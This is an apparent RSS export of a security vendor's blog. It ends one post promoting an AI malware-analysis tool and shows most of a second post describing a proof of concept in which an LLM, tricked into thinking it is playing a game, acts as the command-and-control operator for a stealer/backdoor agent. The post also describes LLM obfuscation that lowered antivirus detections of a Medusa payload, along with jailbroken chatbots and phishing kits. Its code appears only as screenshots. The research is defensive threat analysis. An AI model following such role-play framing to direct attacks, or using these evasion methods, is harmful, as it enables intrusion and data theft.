screenshot is an example using Windows shortcut files (LNK) analysis.</p><img asset_uid="bltdf0aa2df83c249fa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltdf0aa2df83c249fa/67995f33888a8428806d83cb/Figure_4_Standalone_Malware_Analysis_on_Windows_Shortcut_File.png" alt="Figure 4_Standalone Malware Analysis on Windows Shortcut File.png" height="auto"/><p></p><p>The following screenshot is an example with a script file (JavaScript) analysis.</p><img asset_uid="bltfe03f986c5a98a3b" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfe03f986c5a98a3b/67995f33605c9b2efc8ec015/Figure_5_Standalone_Malware_Analysis_on_JavaScript_File.png" alt="Figure 5_Standalone Malware Analysis on JavaScript File.png" height="auto"/><p></p><p>The following figure presents a before and after comparison of the analysis process.</p><img asset_uid="blt98baf09976a0ebb8" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt98baf09976a0ebb8/67995f34783007889ccfc0ca/Figure_6_Before_and_After_Comparison_of_Analysis_Process.png" alt="Figure 6_Before and After Comparison of Analysis Process.png" height="auto"/><p></p><p>A key advantage of DIANNA is its ability to provide explainability by connecting the dots and summarizing the intentions of malicious files in a detailed narrative. This is especially valuable for zero-day and unknown threats, where investigations start from scratch, without any clues.</p><h5>Potential Advancements in AI-driven Cybersecurity</h5><p>AI capabilities are enhancing daily operations, but adversaries are also using AI to create sophisticated attacks and advanced persistent threats (APTs). This leaves organizations, and particularly their SOC and cybersecurity teams, combatting more complex threats.</p><p>While detection controls are useful, they often require significant resources and can be ineffective on their own. In contrast, using AI engines for prevention controls, like a high-efficacy deep learning (DL) engine, can lower the total cost of ownership (TCO) and help SOC analysts streamline their tasks.</p><h5>Conclusion</h5><p>DSX predicts and prevents known, unknown, and zero-day threats in &lt;20 milliseconds—750 times faster than the fastest ransomware encryption. This makes it essential for any security stack, offering comprehensive protection in hybrid environments.</p><p>“Time is money” holds true in the world of cybersecurity. DIANNA enhances the incident response process for SOC teams, allowing them to efficiently tackle and investigate zero-day attacks with minimal time investment. This, in turn, reduces the resources and expenses that CISOs need to allocate, enabling them to invest in more valuable initiatives.</p><p>The rise of AI-based threats is becoming more pronounced. As a result, defenders must outpace increasingly sophisticated attackers by moving beyond traditional AI tools that leverage ML and embrace advanced AI, especially deep learning. The entire cybersecurity ecosystem must consider this shift to effectively combat the growing prevalence of AI-driven cyberattacks and the future of cyber threats.</p><p>To try DSX with DIANNA, visit Deep Instinct in the <a href="https://aws.amazon.com/marketplace/pp/prodview-h3pjvgqvlv6pc?sr=0-1&ref_=beagle&applicationId=AWSMPContessa" target="_blank">AWS Marketplace</a>.</p> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ Beyond Flesh and Code: Building an LLM-Based Attack Lifecycle With a Self-Guided Malware Agent ]]>
</title>
<link>https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent</link>
<dc:creator>
<![CDATA[ Mark Vaitzman ]]>
</dc:creator>
<pubDate>Wed, 15 Jan 2025 14:00:00 +0000</pubDate>
<category>
<![CDATA[ Blog ]]>
</category>
<guid isPermaLink="false">https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent</guid>
<enclosure url="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd97f3e2c22b02e77/6786811c1ab92e5c970e0a3a/Robot_1200x627.png" length="1125624" type="image/png"/>
<description>
<![CDATA[ Follow along with Security and Threat Research Team Leader Mark Vaitzman as he gives a brief history of LLMs and describes step-by-step how LLMs can empower attack lifecycles, making cyberthreats more dangerous. ]]>
</description>
<content:encoded>
<![CDATA[ <p>Large Language Models (LLMs) are rapidly evolving, and their capabilities are attracting the attention of threat actors. This blog explores how malicious actors are utilizing LLMs to enhance their cyber operations and then delves into LLM-based tools and an advanced stealer managed by artificial intelligence (AI).</p><p>While LLMs hold immense potential for improving cybersecurity through threat detection and analysis, their power can also be wielded for malicious purposes. Recent reports suggest that cybercriminals and nation-state actors are actively exploring LLMs for different tasks such as code generation, phishing emails, scripts, and more. We’ll elaborate on just a few examples in this blog.</p><p>The last times we saw such significant technological changes influencing everyday life were the four industrial revolutions (1765 – Oil, 1870 – Gas, 1969 – Electronics and Nuclear, and 2000 – Internet and Renewable Energy). Many believe that AI<wbr><wbr>—and LLMs, which are part of AI—is the next industrial revolution, capable of reshaping industries, including crime, as new cyber threats emerge.</p><p>Cybersecurity is a very dynamic field, but there are still a few basic aspects that haven’t changed – one of which is the attack lifecycle. The cyber attack lifecycle, often referred to as the Cyber Kill Chain, includes the following stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control (C2), and actions on objectives.</p><p>First, I’ll give a brief history of AI and then, using LLMs, I will provide a full attack lifecycle and demonstrate how threat actors could employ them, the risk they pose, and their potential future uses. LLM-based tools can play a significant role in various stages of the cyber attack lifecycle, including fully managing the final stage of the Payload and C2 – and that’s the most interesting part of this blog. The bottom line is that AI as a whole, and LLMs in particular, are very powerful and will get better with time. In the wrong hands, they will cause significant damage. The only way to fight the abuse of LLMs is with AI and advanced Deep Learning prevention alogorithms.</p><p></p><h5><span style="color: rgb(47, 84, 150);">The Long Way to the Present Day LLM</span></h5><p>Let's start with an introduction to AI and LLMs before they became mainstream. I started working with AI when I built my first Prolog app, which is a declarative programming language designed for developing logic-based AI applications.</p><p>Prolog is based on four main elements: <strong>Facts, Rules, Variables, and Queries</strong>. The original version is 52 years old and even the most current version is 24 years old. At the time of its creation there was not enough data for the facts, and the queries had to be pre-defined and barely customized during usage. Despite that, it was used for building chatbots like Zamia AI.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt4cacfae68c0a2bc8" width="583" alt="Figure 1: Zamia AI" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4cacfae68c0a2bc8/67855a294ac08c6dd62a053f/fig1-Zamia-AI-main.png" height="789" /><figcaption style="text-align: center;" style="text-align: center;">Figure 1: Zamia AI</figcaption></div></figure><p><strong></strong></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt8f3c53a01e1f6b06" width="548" alt="fig2-Zamia-AI-Chat.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8f3c53a01e1f6b06/67855a29b33932b1322143ac/fig2-Zamia-AI-Chat.png" height="298" /><figcaption style="text-align: center;" style="text-align: center;">Figure 2: Zamia AI Chat</figcaption></div></figure><p><strong></strong></p><p></p><p>When we think about AI today, we envision complex systems and advanced chatbots like ChatGPT equipped with complicated infrastructure and powerful problem-solving skills. However, AI was not always so advanced. Early examples of AI often took the form of chatbots. They seem simple now, but they were groundbreaking innovations that ushered new concepts and tools into the world.</p><p>Let’s look at some of them:</p><p></p><p><strong>Eliza (1966)</strong> - This first-ever chatbot was developed by MIT professor Joseph Weizenbaum in the 1960s. Eliza was programmed to act as a psychotherapist to users.</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt39109eebae6dd559" width="674" alt="fig3-Eliza-chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt39109eebae6dd559/67855a299c8312d204b48ed5/fig3-Eliza-chatbot.png" height="350" /><figcaption style="text-align: center;" style="text-align: center;">Figure 3: Eliza Chatbot 1966</figcaption></div></figure><p></p><p><strong></strong></p><p><strong>Parry (1972)</strong> - A natural language program that simulated the thinking of a paranoid individual. Parry was constructed by American psychiatrist Kenneth Colby in 1972.</p><p><strong>ChatterBot (1988)</strong> - <span style="color: rgb(32, 33, 34);">British programmer&nbsp;</span><a href="https://en.wikipedia.org/wiki/Rollo_Carpenter">Rollo Carpenter</a> created the Chatterbot in 1988. It evolved into Cleverbot in 1997.&nbsp;</p><p></p><p><strong>Fun fact– ChatterBot was active until 2023. </strong><a href="https://www.cleverbot.com/"><strong>Cleverbot</strong></a><strong> is still operating and accessible today.</strong></p><p></p><p><strong></strong></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltb6ebe6bd89db5d9f" width="368" alt="fig4-CleverBot-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb6ebe6bd89db5d9f/67855a29a840ac66f7d5161e/fig4-CleverBot-Chatbot.png" height="298" /><figcaption style="text-align: center;" style="text-align: center;">Figure 4: CleverBot Chatbot</figcaption></div></figure><p><strong></strong></p><p><strong>DR SBAITSO (1992)</strong> - This chatbot was created by Creative Labs for MS-DOS in 1992. It is one of the earliest chatbots to incorporate a full voice-operated chat program. You may try it out with an <a href="https://classicreload.com/dr-sbaitso.html">MS-DOS emulator</a>.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt75aad27671c9d80c" width="778" alt="fig5-DR-Sbaitso-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt75aad27671c9d80c/67855a2926c6b42b6a3efe55/fig5-DR-Sbaitso-Chatbot.png" height="326" /><figcaption style="text-align: center;" style="text-align: center;">Figure 5: DR SBAITSO Chatbot</figcaption></div></figure><p><strong></strong></p><p><em>&nbsp;</em><em><strong>A.L.I.C.E.</strong></em><strong> (1995)</strong> – A universal language processing chatbot that uses heuristic pattern matching to carry conversations. Richard Wallace pioneered the construction of ALICE in 1995.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc341c7a55fbb99f1" width="1378" alt="fig6-ALICE-Chatbot.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc341c7a55fbb99f1/67855a297854593beb60b083/fig6-ALICE-Chatbot.png" height="460" /><figcaption style="text-align: center;" style="text-align: center;">Figure 6: ALICE Chatbot</figcaption></div></figure><p><strong></strong></p><p>The evolution of AI and its applications is ongoing. Despite the popularity AI now has, researchers have been studying and experimenting with it for decades. Natural Language Processing, Machine Learning, and Deep Learning technologies have all existed for years. And, as shown by the timeline above, assistant-like chatbots were already popular –&nbsp; by combining the idea of an AI assistant with actual AI technology, chatbots with voice recognition burst onto the scene. Later, refining and evolving what we created, we developed the almighty LLMs:</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2099abc03b83a316" width="822" alt="fig7-Chatbots-evolution.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2099abc03b83a316/67855a2a5dc3c373fb1dff58/fig7-Chatbots-evolution.png" height="260" /><figcaption style="text-align: center;" style="text-align: center;">Figure 7: Chatbots and recent LLMs</figcaption></div></figure><p><strong></strong></p><p>Now that you have a better understanding of the timeline of AI, chatbots, and LLMs, let’s get into how the unique capabilities of LLMs can help facilitate a cyber attack.</p><h5><span style="color: rgb(47, 84, 150);">Not all Chatbots are LLMs</span></h5><p>LLM is an evolution of Natural Language Processing (NLP), but there are some key differences, as shown in the following graphic:</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="1052" alt="Screenshot_2025-01-14_at_2.32.10_PM.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt127f601c1983a0c4/6786bbcbbd2b7423333152ef/Screenshot_2025-01-14_at_2.32.10_PM.png" height="551" style="max-width: 1052px;width: 1052px;height: 551px;" max-width="1052" /><figcaption style="text-align: center;" style="text-align: center;">Figure 8: NLP vs LLM</figcaption></div></figure><p></p><p>There are multiple capabilities unique to LLMs that enable the attack flow POC I’m about to describe.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blta1391ffcefcf764f" width="849" alt="fig9-LLM-capabilities.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blta1391ffcefcf764f/67855a2a66c78759deba45d0/fig9-LLM-capabilities.png" height="396" /><figcaption style="text-align: center;" style="text-align: center;">Figure 9: LLM Capabilities for the Attack Flow POC</figcaption></div></figure><p><strong></strong></p><h2><span style="color: rgb(102, 102, 102);font-size: 24pt;"><em>Building an LLM Attack Lifecycle</em></span></h2><h5><span style="color: rgb(47, 84, 150);">Understanding the Attack Lifecycle</span></h5><p>In order to begin, we have to understand why the attack lifecycle is the perfect methodology to prove that LLMs can perform a full multistage attack on their own. The term “<strong>Attack lifecycle”</strong> represents the stages in a cyber attack flow, also known as the Attack Kill Chain. These stages, when executed correctly, can lead to a successful attack. Therefore, there are multiple security products that are expected to stop the attack in each stage and <strong>kill</strong> the chain, disrupting the attack.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt9478e1de7b400c6d" width="1200" alt="fig10-Attack-lifeCycle.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9478e1de7b400c6d/67855a2a9f3ffe210a1d7029/fig10-Attack-lifeCycle.png" height="413.63" /><figcaption style="text-align: center;" style="text-align: center;">Figure 10: Attack Lifecycle</figcaption></div></figure><p><strong></strong></p><p>The Attack Lifecycle follows these steps:</p><ul><li><p><strong>Recon</strong>: Gathering information about the target (e.g., network topology, employees, vulnerabilities) to identify weaknesses or valuable entry points.</p></li><li><p><strong>Weaponization</strong>: Creating a malicious payload (such as a virus, malware, or exploit) and preparing it to be delivered to the target system.</p></li><li><p><strong>Delivery</strong>: Transmitting the weaponized payload to the target, typically through methods like email attachments, malicious links, or infected websites.</p></li><li><p><strong>Exploitation</strong>: Triggering the payload to exploit a vulnerability in the target system (e.g., executing a malicious code or exploiting a software flaw).</p></li><li><p><strong>Installation</strong>: Installing the malware or exploit onto the target system, often establishing persistence so the attacker can maintain access over time.</p></li><li><p><strong>Command and Control (C2)</strong>: Establishing a remote connection between the compromised system and the attacker’s infrastructure to control and issue commands to the infected system.</p></li><li><p><strong>Actions on Objective</strong>: Carrying out the attacker’s primary goals, such as stealing data, spreading malware, disrupting operations, or further exploiting the network.</p></li></ul><p></p><h5><span style="color: rgb(47, 84, 150);">Initial Reconnaissance</span></h5><p>LLMs can automate the process of gathering information from publicly available sources such as social media and technical forums about target systems and individuals.</p><p>After choosing the victim or the sector, one of the most important stages begins: Initial Reconnaissance. This phase is where information gathering and identification of potential entry points happens.</p><p>Even though this stage is already fairly simple due to powerful search engines like Google and scanning services like Shodan and Censys, LLMs have made it even easier and faster.</p><p>For our POC, we’ll start by identifying a possible pool of initial vectors and their victims – a chatbot can help with that.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt60e639ae21c4bfc7" width="525" alt="fig11-vulnerabilities-chatGPT.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt60e639ae21c4bfc7/67855a49baaf228ec928af43/fig11-vulnerabilities-chatGPT.png" height="535" /><figcaption style="text-align: center;" style="text-align: center;">Figure 11: ChatGPT Query and Vulnerability Explanation</figcaption></div></figure><p><strong></strong></p><p>Censys, a well-known worldwide internet scanning platform, helps information security practitioners discover, monitor, and analyze devices. When integrated with an LLM chat it makes the search even easier and provides an actual pool of potential victims.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt481611daa29e50c3" width="434" alt="fig12-Censys-search-GPT-results.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt481611daa29e50c3/67855a49532fd65fdc5a29ba/fig12-Censys-search-GPT-results.png" height="446" /><figcaption style="text-align: center;" style="text-align: center;">Figure 12: Censys search results</figcaption></div></figure><p><strong></strong></p><p>Additionally, there are tools made specifically for OSINT that can automate the reconnaissance and scanning process. In fact, there are several LLMs built and trained specifically for that purpose, such as PentestGPT (originally known as HackerGPT).</p>undefined<p>Using older, high-quality automation tools together with LLMs can provide great results. For example, the Mantis Automated Discovery, Recon, and Scan tool can assist with gathering information about the potential victims in a fast and automated way.</p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt3a7241193f64ed28" width="385" alt="fig14-Mantis-recon-tool.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3a7241193f64ed28/67855a4981e2c059ee79b924/fig14-Mantis-recon-tool.png" height="101" /><figcaption style="text-align: center;" style="text-align: center;">Figure 14: MANTIS Tool available in Github</figcaption></div></figure><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);"><strong>Weaponization</strong></span></h5><p>LLMs can also assist in creating malicious payloads by generating or modifying code snippets based on existing malware.</p><p>While there are many chatbots that claim they are designed to build malware, most are scams.&nbsp;</p><p>“Jailbreaked bots” are prompt-engineered requests that may enable illegitimate requests for regular, mainstream chatbots. These are built specifically for each LLM (including ChatGPT, Llama, and Gemini). However, they are usually identified and fixed quickly, which means they don’t work well for most of the major LLM providers. There are also chatbots based on open-source LLMs where the restrictions can be turned off and malicious code can be generated or evolved more freely.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt25a9aa4a281877a8" width="943" alt="fig15-Stopwatch-ai-chat.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt25a9aa4a281877a8/67855a4938abf993191f08d6/fig15-Stopwatch-ai-chat.png" height="370" /><figcaption style="text-align: center;" style="text-align: center;">Figure 15: Stopwatch.ai chatbot</figcaption></div></figure><p></p><p><strong></strong></p><p>For example, when testing a few Python stealers, it seems that Stopwatch.ai does lower the detection rate drastically by changing class names and variables, which indicates that the detections were signature-based.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltf38892f63e370641" width="1015" alt="fig16-stopwatch-obfuscation.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf38892f63e370641/67855a495f1d6a7ccca14d91/fig16-stopwatch-obfuscation.png" height="358" /><figcaption style="text-align: center;" style="text-align: center;">Figure 16: Stopwatch.ai obfuscation</figcaption></div></figure><p><strong></strong></p><p>Stopwatch.ai is less effective with more complicated and longer code, due to the length restrictions.</p><p></p><p>PentestGPT does a great job obfuscating source code. To test it, I took a known Medusa payload from VirusTotal. The latest version I found already had 30 detections, mostly due to blacklisting or simple signatures, so I decided to compile one myself and got 12 detections, which is a nice rate of evasion abilities.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="1028" alt="Light_fig-11-Medusa-VT-rate.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltab13efcdfa283c9b/6787bc954c1e02434dbf5f8a/Light_fig-11-Medusa-VT-rate.png" height="138.36" style="width: 1028px; height: 138.36px;" /><figcaption style="text-align: center;" style="text-align: center;">Figure 17: Medusa sample in VT</figcaption></div></figure><p><strong></strong></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt156865275e8e8105" width="1036" alt="fig18-Medusa-agent-recompiled.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt156865275e8e8105/67855a49b339324d452143b5/fig18-Medusa-agent-recompiled.png" height="130" /><figcaption style="text-align: center;" style="text-align: center;">Figure 18: Medusa agent latest version re-compiled detection in VT</figcaption></div></figure><p><strong></strong></p><p>Using LLMs to obfuscate the source code before compiling reduced the detections from 12 to 3!</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt0347d521ef97a888" width="1035" alt="fig19-Medusa-obfuscated-LLM.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0347d521ef97a888/67855a49704a103f35415e3d/fig19-Medusa-obfuscated-LLM.png" height="138" /><figcaption style="text-align: center;" style="text-align: center;">Figure 19: Obfuscated by LLM Medusa detection in VT</figcaption></div></figure><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">Delivery</span></h5><p>LLMs can be used to create convincing spear-phishing emails, social media messages, or other forms of communication to deliver the payload, including visual and audio deepfakes. Additionally, they can quickly generate content for fake websites, documents, or ads that can be used to trick users into downloading malicious software by increasing the perception of legitimacy.</p><p>The well-known EvilGoPhish tool and its related Phishlets perform incredibly well, especially when paired with an LLM generating or rephrasing the phishlets. The emails and the “fake” pages look absolutely convincing – even to cybersecurity professionals trained to watch for these types of fakes.</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc13af12f64cef0b1" width="612" alt="fig20-evilginx3.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc13af12f64cef0b1/67855a4949bc8c195943a18d/fig20-evilginx3.png" height="627" /><figcaption style="text-align: center;" style="text-align: center;">Figure 20: Evilginx3 Phishlets</figcaption></div></figure><p></p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blte64f515d6d63b207" width="417" alt="fig21-evilgophish.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte64f515d6d63b207/67855a759c831280ccb48edd/fig21-evilgophish.png" height="360" /><figcaption style="text-align: center;" style="text-align: center;">Figure 21: EvilGoPhish tool dashboard</figcaption></div></figure><p><strong></strong></p><p>The deepfakes themselves are also very convincing. <a href="https://www.scworld.com/news/deepfake-video-conference-convinces-employee-to-send-25m-to-scammers">Remember when a deepfaked conference cost a company more than $25M?</a></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt520e3c69f19f9360" width="665" alt="fig22-DeepFake-toolkit.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt520e3c69f19f9360/67855a75969dc5b9a39dabce/fig22-DeepFake-toolkit.png" height="551" /><figcaption style="text-align: center;" style="text-align: center;">Figure 22: Deepfake Offensive tool</figcaption></div></figure><p></p><p>Audio deepfakes and voice cloning are also dangerous and widely available. There are multiple, easily accessible tools to clone voices, such as standalone sites and repos within Github. Let’s assume for the sake of this POC that our target has been hooked.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt48c093124cc99be0" width="591" alt="fig23-voice-clonning.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt48c093124cc99be0/67855a7598b8d1d122b00852/fig23-voice-clonning.png" height="326" /><figcaption style="text-align: center;" style="text-align: center;">Figure 23: Deepfake Voice and Voice Cloning</figcaption></div></figure><p></p><p><strong></strong></p><h2><span style="color: rgb(47, 84, 150);">The Next Four Steps: Exploitation, Installation, Command and Control, and Actions on Objective</span></h2><h5><span style="color: rgb(47, 84, 150);">LLM-Guided Malware</span></h5><p>As demonstrated above, LLMs have already significantly eased the first three steps of the attack lifecycle. Building malware using LLMs is already an obvious and well-known use case, and has been <a href="https://www.deepinstinct.com/blog/chatgpt-and-malware-making-your-malicious-wishes-come-true">demonstrated multiple times</a>. But what if I could evolve the LLM to <strong>be</strong> the attacker and operate a backdoor?</p><p>Usually there is an attacker sitting behind a C2 server, but not anymore. We are going to build an LLM-based malware with backdoor and stealing functionality, using the LLM as the C2. The idea is to trick the LLM into behaving as a threat actor by providing the attack path remotely, a kind of interactive backdoor/stealer managed by LLM. That way the attack can be <strong>much</strong> faster and both portions can execute simultaneously.</p><p>In order to test the theory, let’s start with building a simple, unstructured prompt to trick the LLM into being the attacker by convincing it that this is just a game.</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="601" src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcAXlAQWNFwcnFwxbj4bGK6PmMJyMezias1C1X96qFqSArGukdIWGgjL5I7KqnN4D3MtYQABmUe9BXukZAT1W807UuxNdj-vISo-WZIgnWhPBcJNy9e1TntJAww362WGuLfFWU1?key=jR49L7g6a-5y_DJm96gpTS18" height="136.99" /><figcaption style="text-align: center;" style="text-align: center;">Figure 24: LLM-Guided Malware Initial Prompt</figcaption></div></figure><p></p><p><strong></strong></p><h5><span style="color: rgb(47, 84, 150);">LLM In the Role of C&amp;C</span></h5><p>Visualizing the flow:</p><p></p><img asset_uid="blt518ebc0bb16c42b0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt518ebc0bb16c42b0/67855a7549bc8cc26543a192/fig25-guided-stealer-visualization.png" alt="fig25-guided-stealer-visualization.png" height="auto"/><img asset_uid="blt30e5165371c9b773" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt30e5165371c9b773/67855a75704a103830415e45/fig26-guided-stealer-visualization.png" alt="fig26-guided-stealer-visualization.png" height="auto"/><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt2cac8e64a90ecd96" width="467" alt="fig27-guided-stealer-visualization.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2cac8e64a90ecd96/67855a75694c4c50d770c5c3/fig27-guided-stealer-visualization.png" height="356" /><figcaption style="text-align: center;" style="text-align: center;">Figures 25, 26, 27: Visualizing the idea in ChatGPT</figcaption></div></figure><p></p><p>Now we have to build a program to fill in as a proxy agent between the victim and the LLM instructions, in order to make it stealthier. It’s going to be a very tiny agent and I expect it to go undetected – but we will test it later on.</p><p></p><h6><strong>The POC for LLM-Guided Malware</strong></h6><p>The Recipe:</p><ul><li><p>Initiate session with LLM</p></li><li><p>Send the initial prompt describing the task</p></li><li><p>Add persistence</p></li><li><p>Let the LLM guide the malware until all goals are achieved</p><ul><li><p>Receive a command</p></li><li><p>Execute it</p></li><li><p>Send the result back to the LLM</p></li></ul></li></ul><p>Side Dishes for the POC:</p><ul><li><p>Add logging</p></li><li><p>Implement communication with steganography</p></li><li><p>Keep the API key safe</p></li></ul><p>Like most of us would do, the first thing I did was ask the LLM to build that flow for me, but it wasn’t very successful: the output was bogged down with multiple bugs and cases of wrong logic.&nbsp;</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt797beccd394a27df" width="370" alt="fig28-ChatGPT-malware-agent.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt797beccd394a27df/67855a757dbc1933d1f9f485/fig28-ChatGPT-malware-agent.png" height="728" /><figcaption style="text-align: center;" style="text-align: center;">Figure 28: Attempt to build the malware agent with LLM</figcaption></div></figure><p><strong></strong></p><p>To compensate, I had to build the malware agent myself:</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="bltc57d7faf0faf56f4" width="897" alt="fig29-send-message-function.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc57d7faf0faf56f4/67855a75e98f4d71325dee57/fig29-send-message-function.png" height="704" /><figcaption style="text-align: center;" style="text-align: center;">Figure 29: The function to initiate the communication with an LLM</figcaption></div></figure><p><strong></strong></p><p>I would like to make the agent work on both Windows and Linux, so the execution of the LLM-received instructions has to be different:</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt8b832dcb84ea95d7" width="1446" alt="fig30-command-execution.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8b832dcb84ea95d7/67855a7538abf943421f08db/fig30-command-execution.png" height="634" /><figcaption style="text-align: center;" style="text-align: center;">Figure 30: Command execution functions per Operation system</figcaption></div></figure><p></p><p><strong></strong></p><p>I used a custom encryption-decryption mechanism to hide my API keys and prepare the shells for the execution of the commands by the operating system.</p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt77f01d22c036b62b" width="1603" alt="fig31-shell-creation.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt77f01d22c036b62b/67855a8eb17dc9f571222f02/fig31-shell-creation.png" height="431" /><figcaption style="text-align: center;" style="text-align: center;">Figure 31: Shell creation</figcaption></div></figure><p></p><p><strong></strong></p><p>And the prompts, defined above as <strong>MESSAGE_LINUX</strong> and <strong>MESSAGE_WINDOWS</strong>, are both a bit different, defined as global variables:</p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt65e52f0da6f66c98" width="961" alt="fig32-prompts-per-os.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt65e52f0da6f66c98/67855a8e9f3ffe22481d7034/fig32-prompts-per-os.png" height="164" /><figcaption style="text-align: center;" style="text-align: center;">Figure 32: Prompts per OS</figcaption></div></figure><p><strong></strong></p><p>I created a main loop to get instructions from the LLM -&gt; Execute and return the response back to LLM:</p><p></p><img asset_uid="blt770c6d155d403f59" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt770c6d155d403f59/67855a8e969dc536109dabd3/fig33-main-loop-guided-malware.png" alt="fig33-main-loop-guided-malware.png" height="auto"/><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img asset_uid="blt35fc498fd3e67eb6" width="1529" alt="fig34-mainloop-guided-malware.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt35fc498fd3e67eb6/67855a8e9f3ffe2f4e1d7038/fig34-mainloop-guided-malware.png" height="390" /><figcaption style="text-align: center;" style="text-align: center;">Figures 33 and 34: Main loop of the LLM-guided malware agent</figcaption></div></figure><p><strong></strong></p><p><span>Once in a while, when the LLM was asking to perform a command and it failed, the LLM sent back an explanation and instructions to fix the issue. While I was expecting command instructions only, I had to add the prompt: “Reply with the next command to achieve the goal. Without comments.” It helped. The full prompt is below:</span></p><p></p><p></p><p></p><figure><div data-img-caption-container="true" style="display: inline-block; text-align: center;"><img width="900" alt="Screenshot_2025-01-14_at_2.28.59_PM.png" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt29c9d3519195aad1/6786bb33ff57fa08f31b7e9d/Screenshot_2025-01-14_at_2.28.59_PM.png" height="723.15" /><figcaption style="text-align: center;" style="text-align: center;">Figure 35: Full Prompt of the LLM-Guided 